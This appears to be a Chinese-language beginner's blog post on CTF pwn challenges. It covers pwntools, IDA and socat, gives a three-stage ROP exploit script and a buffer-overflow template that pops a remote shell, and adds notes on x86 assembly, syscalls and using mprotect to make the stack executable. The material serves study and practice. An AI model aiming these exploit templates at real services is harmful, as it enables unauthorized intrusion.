pwn入门

Author Avatar
Aryb1n 4月 13, 2017

工具

  1. pwntools or zio
    用来写payload的库
  2. ida
    调调调
  3. socat
    我暂且认为他可以把题目的输入重新定向到某个端口上
    第一次跑
     socat TCP4-LISTEN:123456,fork EXEC:./rop_rop_rop
    
    地址复用
     socat TCP-LISTEN:123456,reuseaddr,fork EXEC:./rop_rop_rop
    

步骤

  1. down下题目来, ida分析
    例如, sycrop_rop_rop, 三次rop
  2. 写出payload, poc_local.py

     #!/usr/bin/python
     #encoding: utf-8
     from pwn import *
     r = remote('127.0.0.1', 12345)
    
     step1Addr = 0x0804871e
     step2Addr = 0x08048766
     step3Addr = 0x080487a3
     mainAddr  = 0x0804867d
     shellcodeBuf = 'a' * 7 + chr(0) * 9
    
     payload1 = shellcodeBuf + p32(step1Addr) + p32(mainAddr) + p32(0) + p32(0x41414141) + '\xd5\xc4\xb3\xa2'
     payload2 = shellcodeBuf + p32(step2Addr) + p32(mainAddr) + p32(0xff25a7d4)+ p32(0x41414141)
     payload3 = shellcodeBuf + p32(step3Addr) + p32(mainAddr) + p32(0xffffffff) + p32(0xc0c0c0c) + p32(0x9a829a82)
     r.sendline(payload1)
     r.sendline(payload2)
     r.sendline(payload3)
     r.interactive()
    
  3. 本地调试

    1. 先启动socat, 打开题目rop_rop_rop
      socat TCP4-LISTEN:12345,fork EXEC:./rop_rop_rop
      
      这样rop_rop_rop就跑在localhost12345端口了
    2. 跑一下脚本
      chmod 775 ./poc_local.py
      ./poc_local.py
      
    3. 然后就会弹回来一个shellcode
  4. 然后把脚本里的地址改为题目地址和端口, 跑一遍出结果就可以了

别的

r = remote('127.0.0.1', 12345)

改成

r = process('./rop_rop_rop')

这样子就可以不启动socat,进行调试了,但好像弹回来的shell有点问题,不能用

简单的pwn模板

#encoding: utf-8

from pwn import *
r = remote("xxx.xxx.xxx.xxx", 12345)

retAddr = 0x080484A4
payload = 'A' * 140 + p32(retAddr)
# use "'A' * 140" to padding the buf

r.sendline(payload)
r.interactive()

todo

https://github.com/ctfs/write-ups-2013/tree/master/pico-ctf-2013 的4个rop题目

找到两篇不错的文章

http://paper.seebug.org/271/
http://paper.seebug.org/272/

继续

x86架构有两种格式汇编

Intel

op dst, src

AT&T 寄存器前加%,数值前加$

op src, dst

典型的内存分段

-------------------------------------
|High =========================== Low|
-------------------------------------
|Stack| ========= |Heap|BSS|Data|Code|
-------------------------------------

代码段存储可执行代码和只读常量(如常量字符串),属性可读可执行,但通常不可写。数据段存储已经初始化且初值不为0的全局变量和静态局部变量,BSS段存储未初始化或初值为0的全局变量和静态局部变量,这两段数据都有可写的属性。

CALL:调用指令,将当前的 eip 压入栈顶,并将 PTR 存入 eip,格式为

CALL PTR;

RET:返回指令,操作为将栈顶数据弹出至 eip,格式为

RET;

顺道吐槽一下,,网易云上fripSide的歌好像都不能听了。。。

ROP

最近还看到了SROP, BROP 真是可怕
常常要拼接出一次系统调用SystemCall,Linux下常常是int 0x80

我的gdb里调试的时候并木有看到int 0x80 看到的就是SystemCall

SystemCall之前,要把调用号存到eax, 然后调用参数按顺序存到ebx, ecx, edx, esi, edi.

不过之前看到,,如果用栈的话,应该是逆序入栈的??

125号调用

mprotect (void *addr, size_t len, int prot)

能够将栈的属性改成可执行,这样就很开心了,,,突然感觉像某zcl的语气